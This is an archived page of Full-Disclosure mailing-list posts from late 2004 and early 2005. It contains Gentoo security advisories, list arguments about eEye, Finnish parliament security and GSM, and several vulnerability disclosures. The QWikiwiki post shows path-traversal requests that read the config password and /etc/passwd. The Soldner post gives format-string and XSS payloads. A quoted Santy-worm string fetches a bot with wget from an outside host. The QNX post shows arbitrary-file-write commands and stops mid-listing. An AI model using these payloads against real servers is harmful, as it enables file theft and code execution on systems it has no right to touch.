>>>Show us details, or be quiet. If you intended to embarrass eEye the plan
>>>backfired as any competent professional on this list (there are a few -
>>>I've heard stories about them) would see this as a shameful attempt and
>>>would be laughing at you, not eEye.
>>>
>>>Seasons greetings to eEye and all Full Disclosure subscribers - even you
>>>"Lance Gusto".
>>>
>>>With Regards..
>>>Barrie Dempster (zeedo) - Fortiter et Strenue
>>>
>>> http://www.bsrf.org.uk
>>>
>>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
>>>
>>>
>>>
>>>
>>>
>>>ATTACHMENT: application/pgp-signature ("signature.asc")
>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>>
>>>
>>>
>>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
Neither Will I!
Neither Will I!
Neither Will I!
Let it Die!
Let it Die!
Let it Die!;)

Have Fun,
Sends Steve

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200501-02 ] a2ps: Insecure temporary files handling

From: Thierry Carrez (koongentoo.org)
Date: Tue Jan 04 2005 - 15:33:02 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: a2ps: Insecure temporary files handling
      Date: January 04, 2005
      Bugs: #75784
        ID: 200501-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The fixps and psmandup scripts in the a2ps package are vulnerable to
symlink attacks, potentially allowing a local user to overwrite
arbitrary files.

Background
==========

a2ps is an Any to Postscript filter that can convert to Postscript from
many filetypes. fixps is a script that fixes errors in Postscript
files. psmandup produces a Postscript file for printing in manual
duplex mode.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-text/a2ps < 4.13c-r2 >= 4.13c-r2

Description
===========

Javier Fernandez-Sanguino Pena discovered that the a2ps package
contains two scripts that create insecure temporary files (fixps and
psmandup).

Impact
======

A local attacker could create symbolic links in the temporary files
directory, pointing to a valid file somewhere on the filesystem. When
fixps or psmandup is executed, this would result in the file being
overwritten with the rights of the user running the utility.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All a2ps users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/a2ps-4.13c-r2"

References
==========

  [ 1 ] Secunia SA13641
        http://secunia.com/advisories/13641/
  [ 2 ] CAN-2004-1170
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1170

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-02.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
[Full-Disclosure] [ GLSA 200501-01 ] LinPopUp: Buffer overflow in message reply

From: Thierry Carrez (koongentoo.org)
Date: Tue Jan 04 2005 - 15:24:14 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-01
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: LinPopUp: Buffer overflow in message reply
      Date: January 04, 2005
      Bugs: #74705
        ID: 200501-01

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

LinPopUp contains a buffer overflow potentially allowing execution of
arbitrary code.

Background
==========

LinPopUp is a graphical application that acts as a frontend to Samba
client messaging functions, allowing a Linux desktop to communicate
with a Microsoft Windows computer that runs Winpopup.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 net-im/linpopup < 2.0.4-r1 >= 2.0.4-r1

Description
===========

Stephen Dranger discovered that LinPopUp contains a buffer overflow in
string.c, triggered when replying to a remote user message.

Impact
======

A remote attacker could craft a malicious message that, when replied
using LinPopUp, would exploit the buffer overflow. This would result in
the execution of arbitrary code with the privileges of the user running
LinPopUp.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All LinPopUp users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-im/linpopup-2.0.4-r1"

References
==========

  [ 1 ] CAN-2004-1282
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1282
  [ 2 ] Stephen Dranger Advisory
        http://tigger.uic.edu/~jlongs2/holes/linpopup.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-01.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
Re: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS and SecureIIS)

Valdis.Kletnieksvt.edu
Date: Sat Jan 01 2005 - 00:41:56 CST


On Thu, 30 Dec 2004 22:00:55 PST, "Daniel H. Renner" said:

> Not to bash my own country here but, this leads to a question: How can
> any security product, sub-product or service created in the U.S. hold
> credibility even with the good intentions that the creators may have
> originally had?

"Open Source Software". That's how.

(Making a workable *business model* for making money doing it is a *different*
question. But you specifically asked "credibility"... ;)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFB1kY0cC3lWbTT17ARAt+qAJ99MnEn4lozZfnPZLZ2PpbEYZpKQgCcD3CR
/grKd1pZXdMSReafbQUE6DA=
=rxK5
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] /bin/rm file access vulnerability

Valdis.Kletnieksvt.edu
Date: Sat Jan 01 2005 - 20:46:22 CST


On Thu, 30 Dec 2004 12:52:23 -0400, Jerry said:
> I have to agree with Shane on this. The whole point of the admin a.k.a root
> user is to have full control over everything. What's the point of that user
> if it can't delete of stop a set process when required if some user orphans
> something and can't get it back?

If you are in an environment that cares about security, one user having full
control is a Bad Thing. And it's not just military sites either - one of the
first rules of accounting and auditing is that if one person is writing checks,
somebody *else* actually balances the books.

One common enhancement in Unix systems for high security is splitting out
what userids can run what commands, and getting rid of the "root" user entirely.
So for instance, one userid may be able to run the backup and restore commands,
but nothing else. Meanwhile, you might have a "sysadmin" userid that can
kill processes and remove temp files - but which *cannot* alter the system
auditing settings - so if the sysadmin does something they shouldn't, it's
in the audit trail where it will be seen by the security admin.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFB12B8cC3lWbTT17ARAvzaAJ9kn07SuA1TzJtjVB/pkS7R+peg2wCgx3Uy
7sFcwWFQ9NxiiOTI5jyORNk=
=KsKc
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Just a thought (from an autoreply to another thread)

Valdis.Kletnieksvt.edu
Date: Sat Jan 01 2005 - 20:59:42 CST


On Fri, 31 Dec 2004 23:14:43 EST, "Byron L. Sonne" said:
> You know, people that set these auto-replies often give out a good
> amount of information (of the social engineering kind and otherwise), if
> someone were to apply themselves...

I'm not sure which is worse, the fact that we all now know that his system
is probably fair game for attack for another week, or that we now know that
on Jan 9th, he's probably going to be piled under mail and not being quite
as careful on what he opens. And I'd be amazed if the X-Mailer: header on
his mail didn't list out what vulnerabilities it had (correlate build level
to avisories.. ;)

> Schwarzwaelder, Joerg wrote:
> > I will not be in the office at least until January 9th, 2005.
> >
> > Please send
> > - ssh, watchdog and hvu relocation issues to Alexander Bossert
> > - firewall issues to "security-supportdregis.com"

Hmm.. if he's usually the firewall issue person, it's likely that whoever is
reading security-support's mail is *less* experienced.

Hint: if the site *has* a security-support address, firewall issues
should *always* be going there rather than to a specific user, for
multiple reasons:

1) that way you know *somebody* will see it even if he's away from the office
and not reading the mail

2) Checks and balances - it keeps him honest because if somebody notices a firewall
issue that he created, he can't just hit delete and get away with it...

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFB12OccC3lWbTT17ARAqrYAJ4h50MC6hjhvxuNm9S00Z7pS1UDFwCg2M9b
/XYkB/Zqesi0DFEADQX/0bs=
=Z9Mo
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Socket termination, format string and XSS in Soldner Secret Wars 30830

From: Luigi Auriemma (aluigiautistici.org)
Date: Tue Jan 04 2005 - 12:57:43 CST


<p align=\"left\"><b><font face=\"Arial\" size=\"2\">GFI MailSecurity's HTML threat engine found HTML scripts in this email and has disabled them.</font></b></p>
#######################################################################

                             Luigi Auriemma

Application: SÖLDNER - Secret Wars
              http://www.secretwars.net
Versions: <= 30830
Platforms: Windows
Bugs: A] silent socket termination
              B] in-game format string
              C] in-game cross site scripting versus admin
Exploitation: remote, versus server (B and C are in-game bugs)
Date: 04 Jan 2005
Author: Luigi Auriemma
              e-mail: aluigiautistici.org
              web: http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bugs
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

SÖLDNER is a tactical military game developed by Wings Simulations
(http://www.wingssimulations.com) and has been released in May 2004.

#######################################################################

=======
2) Bugs
=======

----------------------------
A] silent socket termination
----------------------------

The bug happens when the server receives an UDP packet of 1401 or more
bytes causing the immediate termination of the listening thread for a
bad handling of the "message too long" socket error.
The termination of the socket is silent (no warning or messages) so
the admin cannot easily understand what is happened.

------------------------
B] in-game format string
------------------------

An attacker can crash or execute remote code on the game server simply
sending a message containing the format arguments (like the classical
%n%n%n).

--------------------------------------------
C] in-game cross site scripting versus admin
--------------------------------------------

The SÖLDNER server has a nice web interface (port 7890) useful for the
remote administration of the servers.
This web interface contains also a screen (chat) in which are shown all
the server logs included the messages exchanged by the users that are
not filtered and so an attacker can execute HTML or Javascript code in
the admin's browser.

#######################################################################

===========
3) The Code
===========

A] http://aluigi.altervista.org/poc/soldnersock.zip

B] %n%n%n

C] <Xcript><!--alert("hello");--></Xcript>

#######################################################################

======
4) Fix
======

No fix.
No reply from the developers.

#######################################################################

---
Luigi Auriemma
http://aluigi.altervista.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] QWikiwiki directory traversal vulnerability

From: Madelman (madelmaniname.com)
Date: Tue Jan 04 2005 - 13:31:41 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: QWikiwiki directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 01/01/2005
Severity: Critical

Summary:
- --------

QwikiWiki is driven by one core design goal: simplicity. This design
goal is codified into three key principles:
~ Self Sufficiency: QwikiWiki requires only a web server and PHP.
~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box".
~ Minimalist Featureset: QwikiWiki is not everything to everybody.

QwikiWiki uses only cookies and the file system, and thus does not
require a MySQL server or any other database
support. Data is stored in simple text files, and backups are just
complete copies of the data directory. Ain't
nothing fancier than it need be.
(from vendor site: http://www.qwikiwiki.com)

QWikiwiki doesn't check the page parameter which allows reading any file

This vulnerability has been tested with QWikiwiki 1.4.1

Details:
- --------

If we want to read the password for QWikiwiki:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
RETURNS: (looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'

We can also read any file the webserver has permission to:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
RESPONSE:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]

Solution
- --------

Temporary Fix
In file _wikiLib.php substitute

function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}

with

function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~ return 'data/'. $page . $extension;
} else {
~ return '';
}
}

Timeline
- --------

01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB2u8d3RWooxY20cIRArbIAJsEu1pSqJuHdYpWmOO76oHoTxcixACgj/sP
BcUAER8m/maxIApdZEQ0MfA=
=LZ+j
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: New Santy-Worm attacks *all* PHP-skripts

From: Pekka Savola (pekkasnetcore.fi)
Date: Sat Dec 25 2004 - 13:59:50 CST


On Sat, 25 Dec 2004, Juergen Schmidt wrote:
> It uses the brasilian Google site to find all kinds of PHP skripts.
> It parses their URLs and overwrites variables with strings like:
>
> 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> www.visualcoders.net/spybot.txt;...

And AFAICS, this can be prevented by setting register_globals=off in
php.ini.

--
Pekka Savola "You each name yourselves king, yet the
Netcore Oy kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: Fwd: Re: [USN-52-1] vim vulnerability

From: Ciaran McCreesh (ciaranmgentoo.org)
Date: Sun Dec 26 2004 - 09:12:53 CST


On Sun, 26 Dec 2004 09:00:28 +0100 Sune Kloppenborg Jeppesen
<jaervoszgentoo.org> wrote:
| ---------- Forwarded Message ----------
|
| Subject: Re: [USN-52-1] vim vulnerability
| Date: Friday 24 December 2004 05:31
| From: Liu Die Yu <liudieyuumbrella.name>
| To: Martin Pitt <martin.pittcanonical.com>
| Cc: ubuntu-security-announcelists.ubuntu.com,
| full-disclosurelists.netsys.com, bugtraqsecurityfocus.com
|
| the credit really should go to Georgi Guninski who said:
<snip>

This is a different unrelated vulnerability which has been fixed for a
long time. The issues I found are not related to libcall*, rather they
rely upon exploiting wildcards to make vim source arbitrary files.

--
Ciaran McCreesh : Gentoo Developer (Vim, Fluxbox, Sparc, Mips)
Mail : ciaranm at gentoo.org
Web : http://dev.gentoo.org/~ciaranm

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFBztUA96zL6DUtXhERAgLvAKDQz8IO+833WwxJe0w7hBjL7gHfeQCgxy77
r91MB4AZSg45pc2c/SkxCtU=
=TSqD
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] MediaSentry false positives?

From: Kevin (kkadowgmail.com)
Date: Tue Jan 04 2005 - 23:22:27 CST


Has anybody received "Notice of claimed infringement" from MediaSentry
for IP addresses which, while registered to you or your organization,
are in a range not actively in use?

I recently received two notices from MediaSentry for MPAA material,
each listing a single file shared via Kazaa, for two very different IP
addresses for which I am a contact.

In both cases, the IP addresses reported were in fact within the range
allocated, however the address shown is not only not in use, no
address with the same first three octets is either used or announced
via BGP, nor have they ever been publicly visible.

I see two likely possibilities -- either MediaSentry is not using due
diligence in verifying that the material for which they send
infringement notices is actually shared from the address they show in
the complaint, or somebody on the Internet is spoofing BGP route
announcements for unused address space out of larger allocations.

Before I panic and start researching solutions to address the latter
problem, I'm hoping to first verify whether in fact the MediaSentry
notices have any basis in fact?

Thanks,

Kevin Kadow

(P.S. If you have received a similar "Notice of claimed infringement"
letter from MediaSentry for unused IP addresses, please feel free to
contact me privately.)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Insecurity in Finnish parlament (computers)

From: James Tucker (jftuckergmail.com)
Date: Sun Dec 26 2004 - 20:59:28 CST


I don't have the time or inclination to teach you myself. Please go
and learn some more about dealing with radio frequency attacks on
modern networks.

Racal and Vodafone developed a network called PAKNET or WIDANET
depending when the system was sold and in which country. Either way,
the system is a wireless packet switched radio network that uses no
built in encryption. The network is commonly used for point of sale
device communication with acquiry companies. Just because the
communications stream has not been encrypted (or an encryption has
been cracked) does not mean that it is readable by an attacker. Paknet
attacks are in development now, but only as statistical measures. The
only other way to attack the network is with allot of equipment or by
having control of a main network base station. (An un-configured
station alone is of little use). Practical attacking of GSM over the
air is also very difficult for similar (although not so extreme)
reasons.

Man in the middle attacks against GSM networks is not simply as easy
as 'getting a base station'. I will not be continuing this discussion
until you show some knowledge of the practicality of what you are
suggesting with regard to radio hacking. TETRA also operates in a
similar manner and is hard to attack over the air for the same reason.
The area you need to understand is RF modulation.

The two most common SSH clients save the server keys after first
connection; you seem to not know this or not understand/appreciate it.
You are bashing a technology because it may be poor when used by
idiots. This is true of any technology, so please if you are going to
make a general statement, make it general.

Physical access to Finish government laptops/computers. I have no
reason to care if you have or have not had access to these machines.
For all of your security 'understanding' you seem to have made no
mention of the fact that these 'people you know' who have given you
such information are by their actions opening a bigger security
liability than anything the software can do. Software you can fix,
human habit is much harder. For example, what if many young Finish
hackers decided to stay clear of government installations due to fear
and now have the confidence thanks to your disclosure. I realise that
you attempted to contact the department on the matter, but moving such
things to the public eye is unnecessary. Full Disclosure with regard
to software is important in ensuring that we are sufficiently informed
to do all that we can to secure our systems. Advertising weak systems
is simply making other peoples lives worse. Yes you contacted them,
but did you not try to contact local politicians who may be able to
present the government with a report (i.e. go another level up in the
government hierarchy?).

Do you expect people to jump when you point them to a site which
contains the opening line: "I am 26-year guy, currently living in
Turku, Finland. I have been involved with software, computers and
Internet for many years, although I don't do programming nor work in
the IT-industry."
I am not at all surprised that the government chose to ignore your
message to them.

On Sun, 26 Dec 2004 08:16:56 -0800, Markus Jansson
<markus.janssonhushmail.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Sun, 26 Dec 2004 06:34:24 -0800 James Tucker
> <jftuckergmail.com> wrote:
> >The only charge appropriate for this case would be
> >what is informally known as a 'gag order' and will
> >require that you disprove under a court of law all
> >statements made by Mr Jansson. In fact, you
> >will have to prove that Mr Jansson's comments are
> >causing you loss of revenue or damaging the overall
> >reputation of your organisation through
> >false claims.
>
> Heh, I dont believe there are such laws here in Finland. If we
> where talking about private enterprise or individual person, it
> would be possible if its clear that Im lying and causing great
> damage.
>
>
> >Items 1 to 9 on the list would suggest physical
> >access to a device, this is likely to have been
> >contradictory to law.
>
> Perhaps, if you think that *I* got access by using illegal means.
> Then, ofcourse, someone would have to prove that and if they dont,
> well...
>
>
> >It is also possible, that he has had only limited
> >access to one particular device, this would not be
> >conclusive and may not be a true representation of
> >the state of affairs of all devices owned
> >by the Finnish government.
>
> It is unlikely that all the computers have the same security holes
> for many reason, but I have gotten confirmations from several
> computers/users that atleast most of the issues I have described
> exist in most, if not all, computers.
>
>
> >Item 10 negates the likelihood of physical access,
> >this would contradict the above and would seem to
> >make the story inconsistent.
>
> Maybe I didnt (if I did infact myself) have means to access
> everything in those computers... ;)
>
>
> >Item 12 describes a well known problem, however
> >this cannot be fixed by the users of the system.
>
> Oh yes, they could and should move from TeliaSonera to Elisa for
> example, that uses secure COMP-128-3 and A5/3. Its been years and
> years since this security hole was shown first so they have had
> plenty of time, but they just dont give a drek (both in TeliaSonera
> and in our parlament).
>
>
> >Furthermore item 12 describes a scenario which simply is not
> >realistic. Whilst the encryption algorithms in use may be
> >crackable in near real time on a modern computer,
>
> A5/1 is crackable IN REAL TIME.
> http://www.gsm-security.net/faq/gsm-a3-a8-comp128-broken-
> security.shtml
> http://cryptome.org/gsm-crack-bbk.pdf
> http://www.gsm-security.net/faq/gsm-a5-broken-security.shtml
>
>
> >dissection of the modulation scheme and isolation of a single
> >device is most certainly NOT possible with a single laptop.
>
> Ofcourse you need few additional tools for that, but the point is,
> that the security of the system is broken.
>
>
> >Most likely there are no civilians in Finland with the
> >resources to actually carry out the attack described.
>
> Some civilians do have. However, Finnish people are so uninterested
> in politics that they really would bother. ;) But other goverments
> and intelligence agencies would surely be interested and willing to
> wiretap and listen.
>
>
> >Item 13 has more implications than have been considered
> >and would require more than a little insider knowledge
> >to pull off the attack.
>
> Perhaps. The issue is, that it can be done and they should protect
> themselfes against it.
>
>
> >In terms of civilian liability this method of attack is absolutely
> >absurd. It would require co-ordination from several places and a
> >significant knowledge of existing infrastructure surrounding that
> >geographical location.
>
> That sort of information is easily obtained. No co-ordination is
> really required, just put up a false GSM base station next to our
> parlament building with a strong enought signal and voila!
>
>
> >Such hard work is rarely necessary, as it
> >would make more sense to just knock out the
> >government worker and steal their laptop
> >With a good getaway plan this would take far less
> >time, and not cost hundreds of thousands of dollars.
>
> True, that attack is more potential especially since the laptop
> HDD:s are not encrypted (as they should).
>
>
> >We are discussing government security here, but if
> >there is something occurring that would concern the
> >NSA or MI5/6 then encrypting your GSM comms will
> >be the least of your security concerns.
>
> I was under the impression that NSA etc. spy for their living
> anything they can. I bet members of parlaments and their assistants
> are very good targets.
>
>
> >Firstly it would appear that Mark is a common
> >sensationalist.
>
> Argumentum ad hominem. Red herring.
>
>
> >Having taken part in quite unscientific objections
> >with members of Greenpeace for a start.
>
> Argumentum ad hominem. Red herring.
>
>
> >Tetra security for example is
> >claimed to be useless on his site, but once again
> >his lack of understanding of Radio Frequency
> >eavesdropping shows a clear lack of knowledge
> >in this area.
>
> Red herring.
> Useless blahblahblah. Please clarify. Give proper arguments. As I
> sayed, TETRA might be backdoored for NSA as sayed by EU, and TEA
> algorithms are not open and tested for security, so there is no
> point on trusting them. Please tell me what is incorrect in those
> two arguments of mine.
>
>
> >Another clear example of his sensationalist
> >attitude without proper understanding or thought
> >is in his discussion of SSH security, where
> >he claims that authentication keys are useless
> >because they cannot be known trusted during the
> >first connection instance (or maybe he
> >just hasn't realised you should save the keys
> >during a build??).
>
> Argumentum ad hominem. Red herring.
> Dont try to put words into my mouth. I clearly say in my
> pages:"Unless you can receive the publickey or the fingerprint of
> the publickey used in some secure manner." And this is absolutely
> true.
>
>
> >Common reports of Man in the Middle attacks being
> >possible are not understood either.
>
> Red herring.
> Not only possible but very real and easy to do.
>
>
> >As shown by the idiosyncratic inclusion of a
> >key fingerprint on the same page as his PGP
> >key links (for added security!?). If someone
> >wanted to sit in the middle, would they not
> >change both the key and the fingerprint reported?
>
> Argumentum ad hominem. Red herring.
> My key is available from various locations, and so is the
> fingerprint.
>
>
> >There are so many 'bits' that you simply could not
> >filter all of them using standard electronics.
>
> Red herring.
> Actually it sayes in my Finnish pages "they might know about it",
> just translation error.
>
>
> >What you might want to do is provide substantial evidence
> >though, in order to not end up in lawsuits.
>
> Contact members of our parlament or their assistants and ask them.
> I have.
>
> Markus Jansson
> Turku
> http://www.markusjansson.net
> -----BEGIN PGP SIGNATURE-----
> Note: This signature can be verified at https://www.hushtools.com/verify
> Version: Hush 2.4
>
> wkYEARECAAYFAkHO5O8ACgkQp4wnv3Na2tox5gCguVzXFJkwpVspnbyQf1BdjSUWfWcA
> nisJBbqDg/d5IuApeiG0RVYc8qiL
> =YEVR
> -----END PGP SIGNATURE-----
>
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] BUG FIX Remote compromise of Internet Explorer Service Pack 2 XP SP2

From: Michael Evanchik (MikeMichaelEvanchik.com)
Date: Mon Dec 27 2004 - 16:53:57 CST


Had a mistake in my code o well. Works now

PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html

http://www.michaelevanchik.com/security/microsoft/ie/xss/writehta.txt <-- avp's should add this

Here is some new adodb code AVP's should add. No longer needed to connect to external source. Malicious recordset can be built locally.

www.michaelevanchik.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200412-24 ] Xpdf, GPdf: New integer overflows

From: Thierry Carrez (koongentoo.org)
Date: Tue Dec 28 2004 - 07:07:00 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200412-24
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Xpdf, GPdf: New integer overflows
      Date: December 28, 2004
      Bugs: #75191, #75201
        ID: 200412-24

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

New integer overflows were discovered in Xpdf, potentially resulting in
the execution of arbitrary code. GPdf includes Xpdf code and therefore
is vulnerable to the same issues.

Background
==========

Xpdf is an open source viewer for Portable Document Format (PDF) files.
GPdf is a Gnome-based PDF viewer that includes some Xpdf code.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-text/xpdf <= 3.00-r6 >= 3.00-r7
  2 app-text/gpdf <= 2.8.1 >= 2.8.1-r1
    -------------------------------------------------------------------
     2 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

A new integer overflow issue was discovered in Xpdf's Gfx::doImage()
function.

Impact
======

An attacker could entice an user to open a specially-crafted PDF file,
potentially resulting in execution of arbitrary code with the rights of
the user running Xpdf or GPdf.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Xpdf users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/xpdf-3.00-r7"

All GPdf users should also upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/gpdf-2.8.1-r1"

References
==========

  [ 1 ] CAN-2004-1125
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125
  [ 2 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=172&type=vulnerabilities&flashstatus=true

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200412-24.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
[Full-Disclosure] QNX crrtrap arbitrary file read/write vulnerability [RLSA_06-2004]

From: Julio Cesar Fort (juliorfdslabs.com.br)
Date: Tue Dec 28 2004 - 17:27:37 CST


*** rfdslabs security advisory ***

Title: QNX crrtrap arbitrary file read/write vulnerability [RLSA_06-2004]
Versions: QNX RTOS 2.4, 4.25, 6.1.0, 6.2.0 (+ Update Patch A)
Vendor: http://www.qnx.com
Date: Dec 11 2004

Author: Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>

1. Introduction

crrtrap is a tool to detect video hardware and starts the correct driver for
QNX.

2. Details

crttrap has a '-c' flag to specify where trap file will be written. Combined
with 'trap' flag it is possible to read/write any file in the disk.

By default crttrap writes and read trap files in "/etc/system/config". Once
this directory is owned by root we don't have permission to write. It
filters "../" to prevent directory transversal vulnerabilities. In order to
bypass this protection we noticed it doesn't check only for "/".
This way is possible to make it create a sub directory, giving our group
read and write priviledges. Now we are able to manipulate our trap file.

$ crttrap -c tmp/rfdslabs trap
/usr/photon/bin/devgt-iographics -dldevg-svga.so -I0 -d0x5333, 0x8c12
/usr/photon/bin/devgt-iographics -dldevg-vesabios.so -I0 -d0x5333, 0x8c12
crttrap: wrote config file as /etc/system/config/tmp/rfdslabs
$ cd /etc/system/config/tmp
$ ls -la
total 52
drwxrwxr-x 2 root 100 2048 Dec 11 12:40 .
drwxrwxr-x 3 root root 2048 Dec 11 12:35 ..
